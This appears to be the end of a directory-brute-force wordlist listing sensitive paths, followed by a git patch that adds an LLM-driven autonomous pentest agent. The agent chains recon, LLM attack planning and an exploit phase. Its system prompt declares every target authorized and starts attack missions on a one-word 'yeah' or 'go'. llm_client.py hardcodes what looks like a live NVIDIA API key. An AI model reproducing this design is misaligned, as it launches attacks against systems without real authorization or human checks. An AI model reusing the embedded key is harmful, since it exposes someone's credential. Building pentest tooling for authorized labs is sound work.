+region +regional +register +registered +registration +registrations +registro +reklama +related +release +releases +religion +remind +remind_password +reminder +remote +remotetracer +removal +removals +remove +removed +render +render?url=https://www.google.com +render/https://www.google.com +rendered +reorder +rep +repl +replica +replicas +replicate +replicated +replication +replicator +reply +repo +report +reporting +reports +reports list +repository +repost +reportserver +reprints +reputation +req +reqs +request +requested +requests +require +requisite +requisition +requisitions +res +research +reseller +resellers +reservation +reservations +resin +resin-admin +resize +resolution +resolve +resolved +resource +resources +respond +responder +rest +restaurants +restore +restored +restricted +result +results +resume +resumes +retail +returns +reusablecontent +reverse +reversed +revert +reverted +review +reviews +rfid +rhtml +right +ro +roadmap +roam +roaming +robot +robotics +robots +robots.txt +role +roles +roller +room +root +rorentity +rorindex +rortopics +route +router +routes +rpc +rs +rsa +rss +rss10 +rss2 +rss20 +rssarticle +rssfeed +rsync +rte +rtf +ru +rub +ruby +rule +rules +run +rus +rwservlet +s +s1 +sa +safe +safety +sale +sales +salesforce +sam +samba +saml +sample +samples +san +sandbox +sav +save +saved +saves +sb +sbin +sc +scan +scanned +scans +scgi-bin +sched +schedule +scheduled +scheduling +schema +schemas +schemes +school +schools +science +scope +scr +scratc +screen +screens +screenshot +screenshots +script +scripte +scriptlet +scriptlets +scriptlibrary +scriptresource +scripts +sd +sdk +se +search +search-results +search_result +search_results +searchnx +searchresults +searchurl +sec +seccode +second +secondary +secret +secrets +section +sections +secure +secure_login +secureauth +secured +secureform +secureprocess +securimage +security +security.txt +seed +select +selectaddress +selected +selection +self +sell +sem +seminar +seminars +send +send-password +send-email +send_order +send_pwd +send_to_friend +sendform +sendfriend +sendmail +sendmessage +sendpm +sendthread +sendto +sendtofriend +sensepost +sensor +sent +seo +serial +serv +serve +server +server-info +server-status +server_admin_small +server_stats +servers +service +services +servicios +servlet +servlets +servlets-examples +servlet/GetProductVersion +sess +session +sessionid +sessions +set +setcurrency +setlocale +setting +settings +setup +setvatsetting +sex +sf +sg +sh +shadow +shaken +share +shared +shares +shell +shim +ship +shipped +shipping +shipping_help +shippinginfo +shipquote +shit +shockwave +shop +shop_closed +shop_content +shopadmin +shopper +shopping +shopping-lists +shopping_cart +shoppingcart +shops +shops_buyaction +shopstat +shopsys +shoutbox +show +show_post +show_thread +showallsites +showcase +showcat +showcode +showcode.asp +showenv +showgroups +showjobs +showkey +showlogin +showmap +showmsg +showpost +showroom +shows +showthread +shtml +si +sid +sign +sign-up +sign_up +signature +signaturepics +signed +signer +signin +signing +signoff +signon +signout +signup +simple +simpleLogin +simplelogin +single +single_pages +sink +site +site-map +site_map +siteadmin +sitebuilder +sitecore +sitefiles +siteimages +sitemap +sitemap.gz +sitemap.xml +sitemaps +sitemgr +sites +sitesearch +sk +skel +skin +skin1 +skin1_original +skins +skip +sl +slabel +slashdot +slide_show +slides +slideshow +slimstat +sling +sm +small +smarty +smb +smblogin +smf +smile +smiles +smileys +smilies +sms +smtp +snippets +snoop +snp +so +soap +soapdocs +soaprouter +social +soft +software +sohoadmin +solaris +sold +solution +solutions +solve +solved +somebody +songs +sony +soporte +sort +sound +sounds +source +sources +sox +sp +space +spacer +spain +spam +spamlog.log +spanish +spaw +speakers +spec +special +special_offers +specials +specified +specs +speedtest +spellchecker +sphider +spider +spiders +splash +sponsor +sponsors +spool +sport +sports +spotlight +spryassets +spyware +sq +sql +sql-admin +sqladmin +sqlmanager +sqlnet +sqlweb +squelettes +squelettes-dist +squirrel +squirrelmail +sr +src +srchad +srv +ss +ss_vms_admin_sm +ssfm +ssh +sshadmin +ssi +ssl +ssl_check +sslvpn +ssn +sso +ssp_director +st +stackdump +staff +staff_directory +stage +staging +stale +standalone +standard +standards +star +staradmin +start +starter +startpage +stat +state +statement +statements +states +static +staticpages +statistic +statistics +statistik +stats +statshistory +status +status/ready +statusicon +stock +stoneedge +stop +storage +store +store_closed +stored +stores +stories +story +stow +strategy +stream +string +strut +struts +student +students +studio +stuff +style +style_avatars +style_captcha +style_css +style_emoticons +style_images +styles +stylesheet +stylesheets +sub +sub-login +subdomains +subject +submenus +submissions +submit +submitter +subs +subscribe +subscribed +subscriber +subscribers +subscription +subscriptions +success +suche +sucontact +suffix +suggest +suggest-listing +suite +suites +summary +sun +sunos +super +supplier +support +support_login +supported +surf +survey +surveys +suspended.page +suupgrade +sv +svc +svn +svn-base +svr +sw +swajax1 +swf +swfobject.js +swfs +switch +sws +synapse +sync +synced +syndication +sys +sys-admin +sysadmin +sysadmin2 +sysadmins +sysmanager +system +system-admin +system-administration +system_admin +system_administration +system_web +systems +sysuser +szukaj +t +t1 +t3lib +table +tabs +tag +tagline +tags +tail +talk +talks +tape +tapes +tapestry +tar +tar.bz2 +tar.gz +target +tartarus +task +tasks +taxonomy +tb +tcl +te +team +tech +technical +technology +tel +tele +television +tell_a_friend +tell_friend +tellafriend +temaoversikt +temp +templ +template +templates +templates_c +templets +temporal +temporary +temps +term +terminal +terms +terms-of-use +terms_privacy +termsofuse +terrorism +test +test-cgi +test-env +test1 +test123 +test1234 +test2 +test3 +test_db +teste +testimonial +testimonials +testing +tests +testsite +texis +text +text-base +textobject +textpattern +texts +tgp +tgz +th +thank-you +thanks +thankyou +the +theme +themes +thickbox +third-party +this +thread +threadrate +threads +threadtag +thumb +thumbnail +thumbnails +thumbs +thumbs.db +ticket +ticket_list +ticket_new +tickets +tienda +tiki +tiles +time +timeline +tiny_mce +tinymce +tip +tips +title +titles +tl +tls +tmp +tmpl +tmps +tn +tncms +to +toc +today +todel +todo +toggle +token +token/introspect +token/revoke +tomcat +tomcat-docs +tool +toolbar +toolkit +tools +top +top1 +topic +topicadmin +topics +toplist +toplists +topnav +topsites +torrent +torrents +tos +tour +tours +toys +tp +tpl +tpv +tr +trac +trace +traceroute +traces +track +trackback +trackclick +tracker +trackers +tracking +trackpackage +tracks +trade +trademarks +traffic +trailer +trailers +training +trans +transaction +transactions +transfer +transformations +translate +translations +transparent +transport +trap +trash +travel +treasury +tree +trees +trends +trial +true +trunk +tslib +tsweb +tt +tuning +turbine +tuscany +tutorial +tutorials +tv +tw +twatch +tweak +twiki +twitter +tx +txt +type +typo3 +typo3_src +typo3conf +typo3temp +typolight +u +ua +ubb +uc +uc_client +uc_server +ucenter +ucp +uddi +uds +ui +ui_config.properties +uk +umbraco +umbraco_client +umts +uncategorized +under_update +uninstall +union +unix +unlock +unpaid +unreg +unregister +unsafe +unsubscribe +unused +up +upcoming +upd +update +updated +updateinstaller +updater +updates +updates-topic +upgrade +upgrade.readme +upload +upload_file +upload_files +uploaded +uploadedfiles +uploadedimages +uploader +uploadfile +uploadfiles +uploads +ur-admin +urchin +url +urlrewriter +urls +us +usa +usage +user +user_upload +useradmin +userapp +usercontrols +usercp +usercp2 +userdir +userfiles +userimages +userinfo +userlist +userlog +userlogin +usermanager +username +usernames +usernote +users +usr +usrmgr +usrs +ustats +usuario +usuarios +util +utilities +utility +utility_login +utils +v +v1 +v1/client_configs +v2 +v2/client_configs +v3 +v4 +vadmind +validation +validatior +vap +var +vault +vb +vbmodcp +vbs +vbscript +vbscripts +vbseo +vbseocp +vcss +vdsbackup +vector +vehicle +vehiclemakeoffer +vehiclequote +vehicletestdrive +velocity +venda +vendor +vendors +ver +ver1 +ver2 +version +version.json +verwaltung +vfs +vi +viagra +vid +video +videos +view +view-source +view_cart +viewcart +viewcvs +viewer +viewfile +viewforum +viewlogin +viewonline +views +viewsource +viewsvn +viewthread +viewtopic +viewvc +vip +virtual +virus +visit +visitor +visitormessage +vista +vite.config.js +vite.config.ts +vm +vmailadmin +void +voip +vol +volunteer +vote +voted +voter +votes +vp +vpg +vpn +vs +vsadmin +vuln +vvc_display +w +w3 +w3c +w3svc +wa +wallpaper +wallpapers +wap +war +warenkorb +warez +warn +way-board +wbboard +wbsadmin +wc +wcs +wdav +weather +web +web-beans +web-console +web-inf +web.config +web.xml +web1 +web2 +web3 +web_users +webaccess +webadm +webadmin +webagent +webalizer +webapp +webapps +webb +webbbs +webboard +webcalendar +webcam +webcart +webcast +webcasts +webcgi +webcharts +webchat +webctrl_client +webdata +webdav +webdb +webdist +webedit +webfm_send +webhits +webim +webinar +weblog +weblogic +weblogs +webmail +webmaster +webmasters +webpack.manifest.json +webpages +webplus +webresource +websearch +webservice +webservices +webshop +website +websites +websphere +websql +webstat +webstats +websvn +webtrends +webusers +webvpn +webwork +wedding +week +weekly +welcome +wellcome +werbung +wget +what +whatever +whatnot +whatsnew +white +whitepaper +whitepapers +who +whois +wholesale +whosonline +why +wicket +wide_search +widget +widgets +wifi +wii +wiki +will +win +win32 +windows +wink +winnt +wireless +wishlist +with +wizmysqladmin +wml +wolthuis +word +wordpress +work +workarea +workflowtasks +working +workplace +works +workshop +workshops +world +worldpayreturn +worldwide +wow +wp +wp-admin +wp-app +wp-atom +wp-blog-header +wp-comments +wp-commentsrss2 +wp-config +wp-content +wp-cron +wp-dbmanager +wp-feed +wp-icludes +wp-images +wp-includes +wp-links-opml +wp-load +wp-login +wp-mail +wp-pass +wp-rdf +wp-register +wp-rss +wp-rss2 +wp-settings +wp-signup +wp-syntax +wp-trackback +wpau-backup +wpcallback +wpcontent +wps +wrap +writing +ws +ws-client +ws_ftp +wsdl +wss +wstat +wstats +wt +wtai +wusage +wwhelp +www +www-sql +www1 +www2 +www3 +wwwboard +wwwjoin +wwwlog +wwwroot +wwwstat +wwwstats +wwwthreads +wwwuser +wysiwyg +wysiwygpro +x +xajax +xajax_js +xalan +xbox +xcache +xcart +xd_receiver +xdb +xerces +xfer +xhtml +xlogin +xls +xmas +xml +xml-rpc +xmlfiles +xmlimporter +xmlrpc +xmlrpc.php +xn +xsl +xslt +xsql +xx +xxx +xyz +xyzzy +y +yahoo +year +yearly +yesterday +yml +yonetici +yonetim +youtube +yshop +yt +yui +z +zap +zboard +zencart +zend +zero +zeus +zh +zh-cn +zh-tw +zh_CN +zh_TW +zimbra +zip +zipfiles +zips +zoeken +zoom +zope +zorum +zt +~adm +~admin +~administrator +~amanda +~apache +~bin +~ftp +~guest +~http +~httpd +~log +~logs +~lp +~mail +~nobody +~operator +~root +~sys +~sysadm +~sysadmin +~test +~tmp +~user +~webmaster +~www +dns-query?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB +dns-query?name=google.com&type=A +sse +mcp +mcp/transport +mcp/message \ No newline at end of file From b7bdb521e792fc5275818f79a30e3875ca5b7928 Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Thu, 16 Apr 2026 14:09:30 +0530 Subject: [PATCH 16/26] feat: red arsenal dashboard with LLM-powered orchestrator MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Dark violet themed frontend (Orbitron + JetBrains Mono fonts) - Chat interface powered by NVIDIA Qwen/Llama LLM - Mission orchestrator: parallel recon β†’ LLM analyze β†’ plan β†’ exploit β†’ report - 6 recon tools run in parallel via asyncio.gather (nmap, httpx, nuclei, dirsearch, katana, gobuster) - Real-time WebSocket streaming of tool calls, logs, mission phases - Mission control: pause/resume/abort from frontend - LLM generates security analysis, attack plans, and pentest reports - Target parsing for URLs, IPs, and ports Co-Authored-By: Claude Opus 4.6 (1M context) --- .env.example | 5 + red_agent/backend/main.py | 2 + red_agent/backend/routers/chat_routes.py | 249 +++++++ red_agent/backend/schemas/red_schemas.py | 27 + red_agent/backend/services/llm_client.py | 132 ++++ red_agent/backend/services/orchestrator.py | 641 ++++++++++++++++++ red_agent/backend/services/red_service.py | 29 + red_agent/backend/websocket/red_ws.py | 29 +- red_agent/frontend/index.html | 7 +- red_agent/frontend/src/api/redApi.ts | 19 +- .../frontend/src/components/ActivityPanel.tsx | 110 +-- .../frontend/src/components/ChatButton.tsx | 32 +- .../frontend/src/components/ChatPanel.tsx | 243 +++++++ .../frontend/src/components/LogStream.tsx | 159 +++-- .../frontend/src/components/MissionBanner.tsx | 86 +++ .../frontend/src/components/StatsBar.tsx | 2 + .../frontend/src/components/ToolCard.tsx | 111 +-- .../frontend/src/hooks/useRedWebSocket.ts | 38 +- red_agent/frontend/src/main.tsx | 1 + red_agent/frontend/src/pages/RedDashboard.tsx | 250 ++++--- red_agent/frontend/src/styles/globals.css | 134 ++++ red_agent/frontend/src/types/red.types.ts | 39 ++ red_agent/scanner/recon_agent.py | 54 ++ 23 files changed, 2123 insertions(+), 276 deletions(-) create mode 100644 red_agent/backend/routers/chat_routes.py create mode 100644 red_agent/backend/services/llm_client.py create mode 100644 red_agent/backend/services/orchestrator.py create mode 100644 red_agent/frontend/src/components/ChatPanel.tsx create mode 100644 red_agent/frontend/src/components/MissionBanner.tsx create mode 100644 red_agent/frontend/src/components/StatsBar.tsx create mode 100644 red_agent/frontend/src/styles/globals.css create mode 100644 red_agent/scanner/recon_agent.py diff --git a/.env.example b/.env.example index aaeca0dc1..5b082844d 100644 --- a/.env.example +++ b/.env.example @@ -8,6 +8,11 @@ CVE_API_KEY= # Get a free key at https://console.groq.com GROQ_API_KEY=your_groq_api_key_here +# NVIDIA API β€” powers the red agent LLM brain (Qwen model) +NVIDIA_API_KEY=nvapi-your_key_here +LLM_MODEL=qwen/qwen3.5-397b-a17b +LLM_API_URL=https://integrate.api.nvidia.com/v1/chat/completions + # Legacy placeholders (not used by the recon agent) OPENAI_API_KEY= ANTHROPIC_API_KEY= diff --git a/red_agent/backend/main.py b/red_agent/backend/main.py index d9ebfad22..1c883b33d 100644 --- a/red_agent/backend/main.py +++ b/red_agent/backend/main.py @@ -11,6 +11,7 @@ from fastapi.middleware.cors import CORSMiddleware from red_agent.backend.routers import ( + chat_routes, exploit_routes, scan_routes, strategy_routes, @@ -42,6 +43,7 @@ async def lifespan(app: FastAPI): allow_headers=["*"], ) +app.include_router(chat_routes.router, tags=["chat"]) app.include_router(scan_routes.router, prefix="/scan", tags=["scan"]) app.include_router(exploit_routes.router, prefix="/exploit", tags=["exploit"]) app.include_router(strategy_routes.router, prefix="/strategy", tags=["strategy"]) diff --git a/red_agent/backend/routers/chat_routes.py b/red_agent/backend/routers/chat_routes.py new file mode 100644 index 000000000..2d24c789d --- /dev/null +++ b/red_agent/backend/routers/chat_routes.py @@ -0,0 +1,249 @@ +"""Chat endpoint for the Red Agent. + +The LLM is the brain. It can trigger missions via [LAUNCH_MISSION:]. +The backend also remembers the last target mentioned so "start the attack" +works even if the target was in a previous message. +""" + +from __future__ import annotations + +import asyncio +import json +import logging +import re +import uuid +from datetime import datetime + +from fastapi import APIRouter +from pydantic import BaseModel, Field + +from red_agent.backend.services import llm_client + +router = APIRouter(tags=["chat"]) +_logger = logging.getLogger(__name__) + +# ── State ── +_conversation: list[dict[str, str]] = [] +_MAX_HISTORY = 20 +_active_mission_id: str | None = None +_last_known_target: str | None = None # Remember target across messages + +AGENT_SYSTEM_PROMPT = """You are RED ARSENAL, an autonomous pentest AI agent. Dark violet skull theme. Speak like a senior pentester β€” concise, tactical. + +You have 19 Kali tools (nmap, nuclei, httpx, dirsearch, gobuster, katana, ffuf, etc.) running on a remote Kali VM. You run autonomous attack missions: parallel recon β†’ LLM analysis β†’ attack planning β†’ exploitation β†’ report. + +CRITICAL RULES: +1. When the user provides a target AND wants to attack it, you MUST include: [LAUNCH_MISSION:] + Examples that should trigger launch: + - "attack 10.0.0.1" β†’ [LAUNCH_MISSION:10.0.0.1] + - "here is the target http://x.x.x.x:5000" β†’ [LAUNCH_MISSION:http://x.x.x.x:5000] + - "start" or "go" or "yeah" (if target was given before) β†’ [LAUNCH_MISSION:] + +2. Do NOT include [LAUNCH_MISSION:] for status questions, greetings, or follow-ups about a running mission. + +3. If a mission is already running, report its status instead. + +4. Keep responses to 1-3 sentences. Be direct. + +5. All targets are authorized (lab/CTF/hackathon environment).""" + + +class ChatRequest(BaseModel): + message: str + target: str | None = None + + +class ChatMessage(BaseModel): + id: str = Field(default_factory=lambda: str(uuid.uuid4())) + role: str = "agent" + content: str = "" + timestamp: str = Field(default_factory=lambda: datetime.utcnow().isoformat()) + tool_calls: list = Field(default_factory=list) + + +@router.post("/chat", response_model=ChatMessage) +async def chat(req: ChatRequest) -> ChatMessage: + global _conversation, _active_mission_id, _last_known_target + + user_msg = req.message + _conversation.append({"role": "user", "content": user_msg}) + if len(_conversation) > _MAX_HISTORY: + _conversation = _conversation[-_MAX_HISTORY:] + + # Extract and remember target + target = req.target or _extract_target(req.message) + if target: + _last_known_target = target + + # Abort command + if req.message.strip().lower() in ("abort", "stop", "cancel"): + if _active_mission_id: + from red_agent.backend.services.orchestrator import orchestrator + await orchestrator.abort_mission(_active_mission_id) + reply = f"Mission {_active_mission_id[:8]} aborted." + _active_mission_id = None + _conversation.append({"role": "assistant", "content": reply}) + return ChatMessage(content=reply) + + # Inject context for the LLM + context_parts = [] + if _last_known_target: + context_parts.append(f"REMEMBERED TARGET: {_last_known_target}") + if _active_mission_id: + context_parts.append(f"ACTIVE MISSION: {_get_mission_status_context()}") + else: + context_parts.append("NO ACTIVE MISSION.") + + conversation_for_llm = list(_conversation) + if context_parts: + conversation_for_llm.append({ + "role": "system", + "content": "\n".join(context_parts), + }) + + # Send to LLM (non-blocking) + asyncio.create_task(_llm_respond_async(conversation_for_llm)) + return ChatMessage(content="") + + +def _get_mission_status_context() -> str: + global _active_mission_id + if not _active_mission_id: + return "No active mission." + + from red_agent.backend.services.orchestrator import orchestrator + m = orchestrator.get_mission(_active_mission_id) + if not m: + _active_mission_id = None + return "No active mission." + + if m.phase.value in ("DONE", "FAILED"): + _active_mission_id = None + return f"Last mission against {m.target}: {m.phase.value}. Error: {m.error or 'none'}" + + lines = [f"Mission {m.id[:8]} against {m.target} β€” phase: {m.phase.value}"] + if m.recon_results: + ok = [k for k, v in m.recon_results.items() if v.get("ok", True) and not v.get("error")] + lines.append(f"Recon completed: {', '.join(ok) or 'waiting...'}") + total_findings = sum(len(v.get("findings", [])) for v in m.recon_results.values()) + lines.append(f"Total findings: {total_findings}") + if m.attack_plan: + lines.append(f"Attack plan: {len(m.attack_plan)} steps") + if m.exploit_results: + ok_count = sum(1 for r in m.exploit_results if r["result"].get("ok", True)) + lines.append(f"Exploits: {ok_count}/{len(m.exploit_results)} succeeded") + return "\n".join(lines) + + +async def _llm_respond_async(conversation: list[dict[str, str]]) -> None: + global _conversation, _active_mission_id, _last_known_target + from red_agent.backend.websocket.red_ws import manager + + try: + agent_response = await asyncio.wait_for( + _chat_with_history(conversation), + timeout=60.0, + ) + except asyncio.TimeoutError: + agent_response = "Systems online. LLM delayed β€” type 'attack ' to launch directly." + _logger.warning("LLM timed out") + except Exception as exc: + agent_response = f"Systems online. Error: {type(exc).__name__}. Type 'attack ' to launch." + _logger.error("LLM error: %s: %s", type(exc).__name__, exc) + + # Check if LLM wants to launch a mission + mission_target = _extract_launch_signal(agent_response) + clean_response = re.sub(r"\[LAUNCH_MISSION:[^\]]+\]", "", agent_response).strip() + + if mission_target: + _last_known_target = mission_target + # Don't launch if already running + if _active_mission_id: + from red_agent.backend.services.orchestrator import orchestrator + m = orchestrator.get_mission(_active_mission_id) + if m and m.phase.value not in ("DONE", "FAILED"): + clean_response += f"\n\nMission {_active_mission_id[:8]} already running ({m.phase.value})." + mission_target = None + + if mission_target: + from red_agent.backend.services.orchestrator import orchestrator + mission = await orchestrator.start_mission(mission_target) + _active_mission_id = mission.id + clean_response += ( + f"\n\nMission {mission.id[:8]} launched against {mission_target}.\n" + f"Pipeline: RECON β†’ ANALYZE β†’ PLAN β†’ EXPLOIT β†’ REPORT" + ) + + if not clean_response: + clean_response = "Ready. Provide a target or ask about capabilities." + + _conversation.append({"role": "assistant", "content": clean_response}) + + await manager.broadcast({ + "type": "chat_response", + "payload": { + "id": str(uuid.uuid4()), + "role": "agent", + "content": clean_response, + "timestamp": datetime.utcnow().isoformat(), + "tool_calls": [], + }, + }) + + +async def _chat_with_history(conversation: list[dict[str, str]]) -> str: + import httpx + + headers = { + "Authorization": f"Bearer {llm_client.NVIDIA_API_KEY}", + "Content-Type": "application/json", + "Accept": "text/event-stream", + } + + messages = [{"role": "system", "content": AGENT_SYSTEM_PROMPT}] + conversation + + payload = { + "model": llm_client.LLM_MODEL, + "messages": messages, + "max_tokens": 512, + "temperature": 0.6, + "top_p": 0.9, + "stream": True, + } + + collected = [] + async with httpx.AsyncClient(timeout=httpx.Timeout(120.0, connect=30.0)) as client: + async with client.stream("POST", llm_client.NVIDIA_API_URL, headers=headers, json=payload) as resp: + resp.raise_for_status() + async for line in resp.aiter_lines(): + if not line.startswith("data: "): + continue + data_str = line[6:] + if data_str.strip() == "[DONE]": + break + try: + chunk = json.loads(data_str) + delta = chunk.get("choices", [{}])[0].get("delta", {}) + content = delta.get("content", "") + if content: + collected.append(content) + except (json.JSONDecodeError, IndexError, KeyError): + continue + + full_text = "".join(collected) + return llm_client._strip_thinking(full_text).strip() + + +def _extract_launch_signal(response: str) -> str | None: + match = re.search(r"\[LAUNCH_MISSION:([^\]]+)\]", response) + return match.group(1).strip() if match else None + + +def _extract_target(msg: str) -> str | None: + url_match = re.search(r"https?://\S+", msg) + if url_match: + return url_match.group() + ip_match = re.search(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:\d+)?\b", msg) + if ip_match: + return ip_match.group() + return None diff --git a/red_agent/backend/schemas/red_schemas.py b/red_agent/backend/schemas/red_schemas.py index 6bfc3a1a0..11b1e9c87 100644 --- a/red_agent/backend/schemas/red_schemas.py +++ b/red_agent/backend/schemas/red_schemas.py @@ -81,3 +81,30 @@ class StrategyPlan(BaseModel): tool_call: ToolCall steps: list[str] = Field(default_factory=list) rationale: str | None = None + + +# ── Mission (orchestrator) ── + + +class MissionPhase(str, Enum): + IDLE = "IDLE" + RECON = "RECON" + ANALYZE = "ANALYZE" + PLAN = "PLAN" + EXPLOIT = "EXPLOIT" + REPORT = "REPORT" + DONE = "DONE" + FAILED = "FAILED" + PAUSED = "PAUSED" + + +class MissionStartRequest(BaseModel): + target: str = Field(..., examples=["192.168.1.100"]) + + +class MissionStatus(BaseModel): + id: str + target: str + phase: MissionPhase = MissionPhase.IDLE + created_at: datetime = Field(default_factory=datetime.utcnow) + error: str | None = None diff --git a/red_agent/backend/services/llm_client.py b/red_agent/backend/services/llm_client.py new file mode 100644 index 000000000..e8e316c15 --- /dev/null +++ b/red_agent/backend/services/llm_client.py @@ -0,0 +1,132 @@ +"""LLM client for the Red Agent β€” uses NVIDIA API with Qwen model. + +Provides async `chat()` for the orchestrator to get intelligent analysis, +attack planning, and reporting from the LLM. +""" + +from __future__ import annotations + +import json +import logging +import os +from typing import Any + +import httpx + +_logger = logging.getLogger(__name__) + +NVIDIA_API_URL = os.environ.get( + "LLM_API_URL", + "https://integrate.api.nvidia.com/v1/chat/completions", +) +NVIDIA_API_KEY = os.environ.get( + "NVIDIA_API_KEY", + "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", +) +LLM_MODEL = os.environ.get("LLM_MODEL", "meta/llama-3.1-70b-instruct") + +# System prompt that makes the LLM act as a red team agent +RED_AGENT_SYSTEM_PROMPT = """You are an autonomous red team AI agent specializing in offensive security. +Your role is to analyze reconnaissance data, identify vulnerabilities, plan attack strategies, and generate security assessment reports. + +You think step-by-step and provide actionable, structured output. +When analyzing recon data, focus on: +- Open ports and their associated services +- Known vulnerabilities (CVEs) for discovered services +- Misconfigurations and weak points +- Attack surface and entry points + +When planning attacks, prioritize: +- Critical and high severity vulnerabilities first +- Service-specific exploits +- Directory traversal and fuzzing opportunities +- Credential attacks on exposed services + +Always respond with structured, parseable content. Use JSON when asked for structured output. +Be concise and technical β€” this is an automated pipeline, not a conversation.""" + + +async def chat( + prompt: str, + *, + system: str = RED_AGENT_SYSTEM_PROMPT, + temperature: float = 0.6, + max_tokens: int = 4096, +) -> str: + """Send a prompt to the LLM and return the text response. + + Uses NVIDIA API (OpenAI-compatible chat completions format). + Falls back to a simple summary if the API call fails. + """ + headers = { + "Authorization": f"Bearer {NVIDIA_API_KEY}", + "Content-Type": "application/json", + "Accept": "application/json", + } + + payload = { + "model": LLM_MODEL, + "messages": [ + {"role": "system", "content": system}, + {"role": "user", "content": prompt}, + ], + "max_tokens": max_tokens, + "temperature": temperature, + "top_p": 0.95, + "stream": False, + } + + try: + async with httpx.AsyncClient(timeout=120.0) as client: + resp = await client.post(NVIDIA_API_URL, headers=headers, json=payload) + resp.raise_for_status() + data = resp.json() + + # Extract the assistant message content + choices = data.get("choices", []) + if choices: + content = choices[0].get("message", {}).get("content", "") + # Strip thinking tags if the model includes them + content = _strip_thinking(content) + return content.strip() + + _logger.warning("LLM returned no choices: %s", data) + return "" + + except Exception as exc: + _logger.error("LLM API call failed: %s", exc) + raise + + +async def chat_json( + prompt: str, + *, + system: str = RED_AGENT_SYSTEM_PROMPT, + temperature: float = 0.4, + max_tokens: int = 4096, +) -> dict[str, Any]: + """Send a prompt and parse the response as JSON. + + Adds an instruction to respond in JSON format. If parsing fails, + returns the raw text wrapped in a dict. + """ + json_prompt = prompt + "\n\nRespond ONLY with valid JSON. No markdown, no code fences, no explanation." + text = await chat(json_prompt, system=system, temperature=temperature, max_tokens=max_tokens) + + # Try to extract JSON from the response + try: + # Handle cases where model wraps JSON in code fences + cleaned = text + if "```json" in cleaned: + cleaned = cleaned.split("```json")[1].split("```")[0] + elif "```" in cleaned: + cleaned = cleaned.split("```")[1].split("```")[0] + return json.loads(cleaned.strip()) + except (json.JSONDecodeError, IndexError): + return {"raw_response": text} + + +def _strip_thinking(text: str) -> str: + """Remove ... blocks that Qwen models may include.""" + import re + return re.sub(r".*?", "", text, flags=re.DOTALL).strip() diff --git a/red_agent/backend/services/orchestrator.py b/red_agent/backend/services/orchestrator.py new file mode 100644 index 000000000..7ff8841f0 --- /dev/null +++ b/red_agent/backend/services/orchestrator.py @@ -0,0 +1,641 @@ +"""Autonomous mission orchestrator: recon -> analyze -> plan -> exploit -> report. + +Runs as a background asyncio task per mission. Recon tools run in PARALLEL +via asyncio.gather, results stream to the dashboard as each tool finishes. +The LLM reasons on available results to decide next steps. +""" + +from __future__ import annotations + +import asyncio +import json +import logging +import uuid +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any +from urllib.parse import urlparse + +from core.event_bus import event_bus +from red_agent.backend.schemas.red_schemas import ( + LogEntry, + MissionPhase, + ToolCall, + ToolStatus, +) +from red_agent.backend.services.mcp_client import call_tool_and_wait +from red_agent.backend.services import llm_client + +_logger = logging.getLogger(__name__) + + +def _parse_target(target: str) -> tuple[str, str]: + """Extract bare host and ports from a target that may be a URL.""" + host = target + port = "" + + if "://" in target: + parsed = urlparse(target) + host = parsed.hostname or target + if parsed.port: + port = str(parsed.port) + elif parsed.scheme == "https": + port = "443" + elif parsed.scheme == "http": + port = "80" + elif ":" in target: + parts = target.rsplit(":", 1) + if parts[1].isdigit(): + host = parts[0] + port = parts[1] + + if not port: + port = "1-1000" + + return host, port + + +# --------------------------------------------------------------------------- +# Mission data structure +# --------------------------------------------------------------------------- + +@dataclass +class Mission: + id: str + target: str + phase: MissionPhase = MissionPhase.IDLE + created_at: str = field(default_factory=lambda: datetime.utcnow().isoformat()) + recon_results: dict[str, Any] = field(default_factory=dict) + intel: dict[str, Any] = field(default_factory=dict) + attack_plan: list[dict[str, Any]] = field(default_factory=list) + exploit_results: list[dict[str, Any]] = field(default_factory=list) + llm_analysis: str = "" + llm_plan: str = "" + llm_report: str = "" + error: str | None = None + _task: asyncio.Task | None = field(default=None, repr=False) + _paused_event: asyncio.Event = field(default_factory=asyncio.Event, repr=False) + + def to_dict(self) -> dict[str, Any]: + return { + "id": self.id, + "target": self.target, + "phase": self.phase.value, + "created_at": self.created_at, + "error": self.error, + } + + +# --------------------------------------------------------------------------- +# Orchestrator +# --------------------------------------------------------------------------- + +class MissionOrchestrator: + + def __init__(self) -> None: + self._missions: dict[str, Mission] = {} + + # ── Public API ── + + async def start_mission(self, target: str) -> Mission: + mission = Mission(id=str(uuid.uuid4()), target=target) + self._missions[mission.id] = mission + mission._task = asyncio.create_task(self._run_pipeline(mission)) + await self._emit_log(mission, "INFO", f"Mission created against {target}") + return mission + + async def pause_mission(self, mission_id: str) -> bool: + m = self._missions.get(mission_id) + if not m or m.phase in (MissionPhase.DONE, MissionPhase.FAILED): + return False + m.phase = MissionPhase.PAUSED + m._paused_event.clear() + await self._emit_log(m, "WARN", "Mission paused by operator") + return True + + async def resume_mission(self, mission_id: str) -> bool: + m = self._missions.get(mission_id) + if not m or m.phase != MissionPhase.PAUSED: + return False + m._paused_event.set() + await self._emit_log(m, "INFO", "Mission resumed by operator") + return True + + async def abort_mission(self, mission_id: str) -> bool: + m = self._missions.get(mission_id) + if not m or m.phase in (MissionPhase.DONE, MissionPhase.FAILED): + return False + if m._task and not m._task.done(): + m._task.cancel() + m.phase = MissionPhase.FAILED + m.error = "Aborted by operator" + await self._emit_log(m, "ERROR", "Mission aborted") + return True + + def get_mission(self, mission_id: str) -> Mission | None: + return self._missions.get(mission_id) + + def list_missions(self) -> list[dict]: + return [m.to_dict() for m in self._missions.values()] + + # ── Pipeline ── + + async def _run_pipeline(self, mission: Mission) -> None: + try: + await self._phase_recon(mission) + await self._check_pause(mission) + + await self._phase_analyze(mission) + await self._check_pause(mission) + + await self._phase_plan(mission) + await self._check_pause(mission) + + await self._phase_exploit(mission) + + await self._phase_report(mission) + except asyncio.CancelledError: + mission.phase = MissionPhase.FAILED + mission.error = "Aborted by operator" + except Exception as exc: + mission.phase = MissionPhase.FAILED + mission.error = str(exc) + await self._emit_log(mission, "ERROR", f"Mission failed: {exc}") + _logger.exception("Mission %s pipeline error", mission.id[:8]) + + async def _check_pause(self, mission: Mission) -> None: + if mission.phase == MissionPhase.PAUSED: + await self._emit_phase(mission, MissionPhase.PAUSED) + await mission._paused_event.wait() + 